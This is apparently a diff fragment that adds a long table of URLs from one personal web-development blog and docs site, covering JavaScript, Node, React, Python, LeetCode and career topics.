+| <https://bgoonz-blog.netlify.app/blog/interview-questions-js-p3>                                    |
+| <https://bgoonz-blog.netlify.app/blog/intro-01-data-structures>                                     |
+| <https://bgoonz-blog.netlify.app/blog/js-closure>                                                   |
+| <https://bgoonz-blog.netlify.app/blog/netlify-cms>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/passing-arguments-to-a-callback-in-js>                        |
+| <https://bgoonz-blog.netlify.app/blog/platform-docs>                                                |
+| <https://bgoonz-blog.netlify.app/blog/psql-cheat-sheet>                                             |
+| <https://bgoonz-blog.netlify.app/blog/python-for-js-dev>                                            |
+| <https://bgoonz-blog.netlify.app/blog/python-resources>                                             |
+| <https://bgoonz-blog.netlify.app/blog/react-semantics>                                              |
+| <https://bgoonz-blog.netlify.app/blog/react-state>                                                  |
+| <https://bgoonz-blog.netlify.app/blog/using-the-dom>                                                |
+| <https://bgoonz-blog.netlify.app/blog/vs-code-extensions>                                           |
+| <https://bgoonz-blog.netlify.app/blog/vscode-extensions>                                            |
+| <https://bgoonz-blog.netlify.app/blog/web-dev-trends>                                               |
+| <https://bgoonz-blog.netlify.app/blog/web-scraping>                                                 |
+| <https://bgoonz-blog.netlify.app/docs>                                                              |
+| <https://bgoonz-blog.netlify.app/docs/about>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/about/eng-portfolio>                                          |
+| <https://bgoonz-blog.netlify.app/docs/about/intrests>                                               |
+| <https://bgoonz-blog.netlify.app/docs/about/job-search>                                             |
+| <https://bgoonz-blog.netlify.app/docs/about/readme>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/about/resume>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/about/youtube>                                                |
+| <https://bgoonz-blog.netlify.app/docs/archive/embeded-websites>                                     |
+| <https://bgoonz-blog.netlify.app/docs/archive/link>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/articles/basic-web-dev>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/buffers>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/common-modules>                                      |
+| <https://bgoonz-blog.netlify.app/docs/articles/dev-dep>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/event-loop>                                          |
+| <https://bgoonz-blog.netlify.app/docs/articles/fs-module>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/how-search-engines-work>                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/how-the-web-works>                                   |
+| <https://bgoonz-blog.netlify.app/docs/articles/http>                                                |
+| <https://bgoonz-blog.netlify.app/docs/articles/install>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/intro>                                               |
+| <https://bgoonz-blog.netlify.app/docs/articles/jamstack>                                            |
+| <https://bgoonz-blog.netlify.app/docs/articles/modules>                                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/nextjs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-api-express>                                    |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-cli-args>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-common-modules>                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-env-variables>                                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-js-language>                                    |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-package-manager>                                |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-repl>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/node-run-cli>                                        |
+| <https://bgoonz-blog.netlify.app/docs/articles/nodejs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/nodevsbrowser>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/npm>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/npx>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/os-module>                                           |
+| <https://bgoonz-blog.netlify.app/docs/articles/reading-files>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/semantic>                                            |
+| <https://bgoonz-blog.netlify.app/docs/articles/semantic-html>                                       |
+| <https://bgoonz-blog.netlify.app/docs/articles/the-uniform-resource-locator-(url>)                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/understanding-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/articles/url>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/articles/v8>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/articles/web-standards-checklist>                             |
+| <https://bgoonz-blog.netlify.app/docs/articles/webdev-tools>                                        |
+| <https://bgoonz-blog.netlify.app/docs/articles/writing-files>                                       |
+| <https://bgoonz-blog.netlify.app/docs/audio>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/audio/audio>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/audio/audio-feature-extraction>                               |
+| <https://bgoonz-blog.netlify.app/docs/audio/dfft>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/discrete-fft>                                           |
+| <https://bgoonz-blog.netlify.app/docs/audio/dtw-python-explained>                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/dynamic-time-warping>                                   |
+| <https://bgoonz-blog.netlify.app/docs/audio/web-audio-api>                                          |
+| <https://bgoonz-blog.netlify.app/docs/career>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/career/dev-interview>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/dos-and-donts>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/interview-dos-n-donts>                                 |
+| <https://bgoonz-blog.netlify.app/docs/career/job-boards>                                            |
+| <https://bgoonz-blog.netlify.app/docs/career/job-search>                                            |
+| <https://bgoonz-blog.netlify.app/docs/career/js-interview>                                          |
+| <https://bgoonz-blog.netlify.app/docs/career/list-of-projects>                                      |
+| <https://bgoonz-blog.netlify.app/docs/career/my-websites>                                           |
+| <https://bgoonz-blog.netlify.app/docs/career/projects>                                              |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview>                                         |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview2>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview3>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/web-interview4>                                        |
+| <https://bgoonz-blog.netlify.app/docs/career/wed-dev-questions>                                     |
+| <https://bgoonz-blog.netlify.app/docs/community>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/community/an-open-letter-2-future-developers>                 |
+| <https://bgoonz-blog.netlify.app/docs/community/bookmarks>                                          |
+| <https://bgoonz-blog.netlify.app/docs/community/github-profiles>                                    |
+| <https://bgoonz-blog.netlify.app/docs/community/video-chat>                                         |
+| <https://bgoonz-blog.netlify.app/docs/content>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/content/algo>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/content/archive>                                              |
+| <https://bgoonz-blog.netlify.app/docs/content/bash-intro>                                           |
+| <https://bgoonz-blog.netlify.app/docs/content/data-structures-in-python>                            |
+| <https://bgoonz-blog.netlify.app/docs/content/gatsby-queries-mutations>                             |
+| <https://bgoonz-blog.netlify.app/docs/content/gists>                                                |
+| <https://bgoonz-blog.netlify.app/docs/content/github-api>                                           |
+| <https://bgoonz-blog.netlify.app/docs/content/history-api>                                          |
+| <https://bgoonz-blog.netlify.app/docs/content/main-projects>                                        |
+| <https://bgoonz-blog.netlify.app/docs/content/native-data-structures-in-js>                         |
+| <https://bgoonz-blog.netlify.app/docs/content/netlify>                                              |
+| <https://bgoonz-blog.netlify.app/docs/content/trouble-shooting>                                     |
+| <https://bgoonz-blog.netlify.app/docs/css>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/css/css-positioning>                                          |
+| <https://bgoonz-blog.netlify.app/docs/data-structures>                                              |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/big-o>                                        |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/data-structures-in-depth>                     |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/ds-algo-interview>                            |
+| <https://bgoonz-blog.netlify.app/docs/data-structures/tree>                                         |
+| <https://bgoonz-blog.netlify.app/docs/docs>                                                         |
+| <https://bgoonz-blog.netlify.app/docs/docs/appendix>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/art-of-command-line>                                     |
+| <https://bgoonz-blog.netlify.app/docs/docs/bash>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/docs/css>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/docs/data-structures-docs>                                    |
+| <https://bgoonz-blog.netlify.app/docs/docs/es-6-features>                                           |
+| <https://bgoonz-blog.netlify.app/docs/docs/git-reference>                                           |
+| <https://bgoonz-blog.netlify.app/docs/docs/git-repos>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/glossary>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/html-spec>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/html-tags>                                               |
+| <https://bgoonz-blog.netlify.app/docs/docs/jamstack>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/markdown>                                                |
+| <https://bgoonz-blog.netlify.app/docs/docs/no-whiteboarding>                                        |
+| <https://bgoonz-blog.netlify.app/docs/docs/node-docs-complete>                                      |
+| <https://bgoonz-blog.netlify.app/docs/docs/node-docs-full>                                          |
+| <https://bgoonz-blog.netlify.app/docs/docs/regex-in-js>                                             |
+| <https://bgoonz-blog.netlify.app/docs/docs/sitemap>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/docs/snippets>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/big-o>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/data-structures-docs>                                 |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-algo-interview>                                    |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-by-example>                                        |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/ds-overview>                                          |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/free-code-camp>                                       |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/graph>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/heaps>                                                |
+| <https://bgoonz-blog.netlify.app/docs/ds-algo/tree>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/faq>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/faq/contact>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/faq/plug-ins>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/gists>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/git>                                                          |
+| <https://bgoonz-blog.netlify.app/docs/git/git-cheatsheet>                                           |
+| <https://bgoonz-blog.netlify.app/docs/glossary>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/glossary/folders-in-npm>                                      |
+| <https://bgoonz-blog.netlify.app/docs/glossary/local-storage-vs-session-storage-vs-cookie>          |
+| <https://bgoonz-blog.netlify.app/docs/glossary/mathfloor>                                           |
+| <https://bgoonz-blog.netlify.app/docs/google-hosted-libraries>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interact>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/interact/>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/interact/callstack-visual>                                    |
+| <https://bgoonz-blog.netlify.app/docs/interact/clock>                                               |
+| <https://bgoonz-blog.netlify.app/docs/interact/jupyter-notebooks>                                   |
+| <https://bgoonz-blog.netlify.app/docs/interact/other-sites>                                         |
+| <https://bgoonz-blog.netlify.app/docs/interact/other-sites/>                                        |
+| <https://bgoonz-blog.netlify.app/docs/interact/react-testing-library>                               |
+| <https://bgoonz-blog.netlify.app/docs/interact/video-chat>                                          |
+| <https://bgoonz-blog.netlify.app/docs/interact/video-chat/>                                         |
+| <https://bgoonz-blog.netlify.app/docs/interview>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/interview/dev-interview>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/dos-and-donts>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/interview-questions>                                |
+| <https://bgoonz-blog.netlify.app/docs/interview/job-search-nav>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/previous-concepts>                                  |
+| <https://bgoonz-blog.netlify.app/docs/interview/review-concepts>                                    |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview>                                      |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview2>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview3>                                     |
+| <https://bgoonz-blog.netlify.app/docs/interview/web-interview4>                                     |
+| <https://bgoonz-blog.netlify.app/docs/javascript>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/arrow-functions>                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/asyncjs>                                           |
+| <https://bgoonz-blog.netlify.app/docs/javascript/await-keyword>                                     |
+| <https://bgoonz-blog.netlify.app/docs/javascript/bigo>                                              |
+| <https://bgoonz-blog.netlify.app/docs/javascript/clean-code>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/constructor-functions>                             |
+| <https://bgoonz-blog.netlify.app/docs/javascript/cs-basics-in-js>                                   |
+| <https://bgoonz-blog.netlify.app/docs/javascript/for-loops>                                         |
+| <https://bgoonz-blog.netlify.app/docs/javascript/js-expressions>                                    |
+| <https://bgoonz-blog.netlify.app/docs/javascript/js-objects>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/part2-pojo>                                        |
+| <https://bgoonz-blog.netlify.app/docs/javascript/promises>                                          |
+| <https://bgoonz-blog.netlify.app/docs/javascript/review>                                            |
+| <https://bgoonz-blog.netlify.app/docs/javascript/snippets>                                          |
+| <https://bgoonz-blog.netlify.app/docs/javascript/this-is-about-this>                                |
+| <https://bgoonz-blog.netlify.app/docs/javascript/variables>                                         |
+| <https://bgoonz-blog.netlify.app/docs/js-tips>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/abs>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/acos>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/acosh>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/addition>                                             |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/all>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/allsettled>                                           |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/any>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/array>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/array-methods>                                        |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/arrow_functions>                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/async_function>                                       |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/bad_radix>                                            |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/bind>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/classes>                                              |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/concat>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/conditional_operator>                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/const>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/create>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/date>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/eval>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/every>                                                |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/filter>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/for...of>                                             |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/foreach>                                              |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/functions>                                            |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/import>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/insert-into-array>                                    |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/map>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/object>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/reduce>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/regexp>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/sort>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/sorting-strings>                                      |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/string>                                               |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/this>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/js-tips/var>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/leetcode>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/004._median_of_two_sorted_arrays>                    |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/006._zigzag_conversion>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/008>._string_to_integer_                             |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/009._palindrome_number>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/010._regular_expression_matching>                    |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/011._container_with_most_water>                      |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/012._integer_to_roman>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/013._roman_to_integer>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/014._longest_common_prefix>                          |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/017._letter_combinations_of_a_phone_number>          |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/019._remove_nth_node_from_end_of_list>               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/020._valid_parentheses>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/022._generate_parentheses>                           |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/026._remove_duplicates_from_sorted_array>            |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/029._divide_two_integers>                            |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/031._next_permutation>                               |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/033._search_in_rotated_sorted_array>                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/containewitmoswater>                                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/dividtwintegers>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/first-100>                                           |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/generatparentheses>                                  |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/lettecombinationophonnumber>                         |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/longescommoprefix>                                   |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/mediaotwsortearrays>                                 |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/nexpermutation>                                      |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/palindromnumber>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/regulaexpressiomatching>                             |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/removduplicatefrosortearray>                         |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/removntnodfroenolist>                                |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/romatinteger>                                        |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/searcirotatesortearray>                              |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/valiparentheses>                                     |
+| <https://bgoonz-blog.netlify.app/docs/leetcode/zigzaconversion>                                     |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack>                                         |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/get-started-with-gatsby>                 |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/jamstack-templates>                      |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms-jamstack/serverlessjs>                            |
+| <https://bgoonz-blog.netlify.app/docs/netlify-cms/jamstack-templates>                               |
+| <https://bgoonz-blog.netlify.app/docs/overflow>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/overflow/html-spec>                                           |
+| <https://bgoonz-blog.netlify.app/docs/overflow/http>                                                |
+| <https://bgoonz-blog.netlify.app/docs/overflow/install>                                             |
+| <https://bgoonz-blog.netlify.app/docs/overflow/modules>                                             |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-cli-args>                                       |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-js-language>                                    |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-package-manager>                                |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-repl>                                           |
+| <https://bgoonz-blog.netlify.app/docs/overflow/node-run-cli>                                        |
+| <https://bgoonz-blog.netlify.app/docs/overflow/nodejs>                                              |
+| <https://bgoonz-blog.netlify.app/docs/overflow/nodevsbrowser>                                       |
+| <https://bgoonz-blog.netlify.app/docs/overflow/understanding-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/overflow/v8>                                                  |
+| <https://bgoonz-blog.netlify.app/docs/privacy-policy>                                               |
+| <https://bgoonz-blog.netlify.app/docs/projects>                                                     |
+| <https://bgoonz-blog.netlify.app/docs/projects/archive>                                             |
+| <https://bgoonz-blog.netlify.app/docs/projects/archive/embeded-websites>                            |
+| <https://bgoonz-blog.netlify.app/docs/projects/embeded-websites>                                    |
+| <https://bgoonz-blog.netlify.app/docs/projects/list-of-projects>                                    |
+| <https://bgoonz-blog.netlify.app/docs/projects/main-projects>                                       |
+| <https://bgoonz-blog.netlify.app/docs/projects/mini-projects>                                       |
+| <https://bgoonz-blog.netlify.app/docs/projects/mini-projects2>                                      |
+| <https://bgoonz-blog.netlify.app/docs/projects/my-websites>                                         |
+| <https://bgoonz-blog.netlify.app/docs/projects/recent>                                              |
+| <https://bgoonz-blog.netlify.app/docs/python>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/python/at-length>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/cheat-sheet>                                           |
+| <https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide>                                   |
+| <https://bgoonz-blog.netlify.app/docs/python/examples>                                              |
+| <https://bgoonz-blog.netlify.app/docs/python/flow-control>                                          |
+| <https://bgoonz-blog.netlify.app/docs/python/functions>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/google-sheets-api>                                     |
+| <https://bgoonz-blog.netlify.app/docs/python/install-python-ubuntu>                                 |
+| <https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs>                                     |
+| <https://bgoonz-blog.netlify.app/docs/python/python-ds>                                             |
+| <https://bgoonz-blog.netlify.app/docs/python/python-quiz>                                           |
+| <https://bgoonz-blog.netlify.app/docs/python/snippets>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/all-emojis>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/create-react-app>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/emmet>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/fetch>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/git-bash>                                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/git-tricks>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/google-firebase>                                    |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/heroku-error-codes>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/installation>                                       |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/markdown-dropdowns>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/minifiction>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/new-repo-instructions>                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/psql-setup>                                         |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/pull-request-rubric>                                |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/quick-links>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/toprepos>                                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/understanding-path>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-ref/vscode-themes>                                      |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference>                                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/all-emojis>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app>                             |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/emmet>                                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/git-bash>                                     |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/git-tricks>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase>                              |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/installation>                                 |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/markdown-dropdowns>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/minifiction>                                  |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions>                        |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup>                                   |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/pull-request-rubric>                          |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/quick-links>                                  |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/toprepos>                                     |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/understanding-path>                           |
+| <https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes>                                |
+| <https://bgoonz-blog.netlify.app/docs/react>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/react/accessibility>                                          |
+| <https://bgoonz-blog.netlify.app/docs/react/ajax-n-apis>                                            |
+| <https://bgoonz-blog.netlify.app/docs/react/cheatsheet>                                             |
+| <https://bgoonz-blog.netlify.app/docs/react/complete-react>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/createreactapp>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/demo>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/react/dont-use-index-as-keys>                                 |
+| <https://bgoonz-blog.netlify.app/docs/react/jsx>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/react/quiz>                                                   |
+| <https://bgoonz-blog.netlify.app/docs/react/react-docs>                                             |
+| <https://bgoonz-blog.netlify.app/docs/react/react-in-depth>                                         |
+| <https://bgoonz-blog.netlify.app/docs/react/react-patterns-by-usecase>                              |
+| <https://bgoonz-blog.netlify.app/docs/react/react-w-api>                                            |
+| <https://bgoonz-blog.netlify.app/docs/react/react2>                                                 |
+| <https://bgoonz-blog.netlify.app/docs/react/render-elements>                                        |
+| <https://bgoonz-blog.netlify.app/docs/reference>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/art-of-command-line>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-lists>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-nodejs>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/awesome-static>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/bash-commands>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/bookmarks>                                          |
+| <https://bgoonz-blog.netlify.app/docs/reference/embed-the-web>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/github-resources>                                   |
+| <https://bgoonz-blog.netlify.app/docs/reference/github-search>                                      |
+| <https://bgoonz-blog.netlify.app/docs/reference/google-cloud>                                       |
+| <https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process>                              |
+| <https://bgoonz-blog.netlify.app/docs/reference/installing-node>                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs>                                    |
+| <https://bgoonz-blog.netlify.app/docs/reference/markdown-styleguide>                                |
+| <https://bgoonz-blog.netlify.app/docs/reference/notes-template>                                     |
+| <https://bgoonz-blog.netlify.app/docs/reference/psql>                                               |
+| <https://bgoonz-blog.netlify.app/docs/reference/resources>                                          |
+| <https://bgoonz-blog.netlify.app/docs/reference/vscode>                                             |
+| <https://bgoonz-blog.netlify.app/docs/reference/web-api%27s>                                        |
+| <https://bgoonz-blog.netlify.app/docs/reference/web-api>'s                                          |
+| <https://bgoonz-blog.netlify.app/docs/search>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/sitemap>                                                      |
+| <https://bgoonz-blog.netlify.app/docs/sitemap-april>                                                |
+| <https://bgoonz-blog.netlify.app/docs/tips>                                                         |
+| <https://bgoonz-blog.netlify.app/docs/tips/7-tips-to-become-a-better-web-developer>                 |
+| <https://bgoonz-blog.netlify.app/docs/tips/array-methods>                                           |
+| <https://bgoonz-blog.netlify.app/docs/tips/insert-into-array>                                       |
+| <https://bgoonz-blog.netlify.app/docs/tips/regex-tips>                                              |
+| <https://bgoonz-blog.netlify.app/docs/tips/sorting-strings>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tips/storybook>                                               |
+| <https://bgoonz-blog.netlify.app/docs/tools>                                                        |
+| <https://bgoonz-blog.netlify.app/docs/tools/>                                                       |
+| <https://bgoonz-blog.netlify.app/docs/tools/all>                                                    |
+| <https://bgoonz-blog.netlify.app/docs/tools/all-stripped>                                           |
+| <https://bgoonz-blog.netlify.app/docs/tools/archive>                                                |
+| <https://bgoonz-blog.netlify.app/docs/tools/data-structures>                                        |
+| <https://bgoonz-blog.netlify.app/docs/tools/dev-utilities>                                          |
+| <https://bgoonz-blog.netlify.app/docs/tools/embeds-archive>                                         |
+| <https://bgoonz-blog.netlify.app/docs/tools/markdown-html>                                          |
+| <https://bgoonz-blog.netlify.app/docs/tutorials>                                                    |
